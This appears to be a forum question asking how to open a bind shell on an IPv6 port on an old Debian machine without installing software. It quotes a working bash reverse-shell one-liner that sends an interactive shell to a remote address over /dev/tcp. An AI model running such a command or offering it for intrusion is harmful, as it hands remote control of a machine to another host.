I wish to be able to listen to a port (eventually creating a bind shell) on an IPV6 address.
I have tried using the netcat installed on the linux (debian) machine I am trying to bind. sadly it seems only to bind to the IPV4 TCP ports and not the IPV6. (it is an old version of netcat which does not support IPV6)
I know methods like this exist for reverse shells and I was wondering if there was anything similar for my situation?
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
There are some rules of which I cannot do anything about:
I cannot install extra applications, I cannot update, I cannot create applications my self.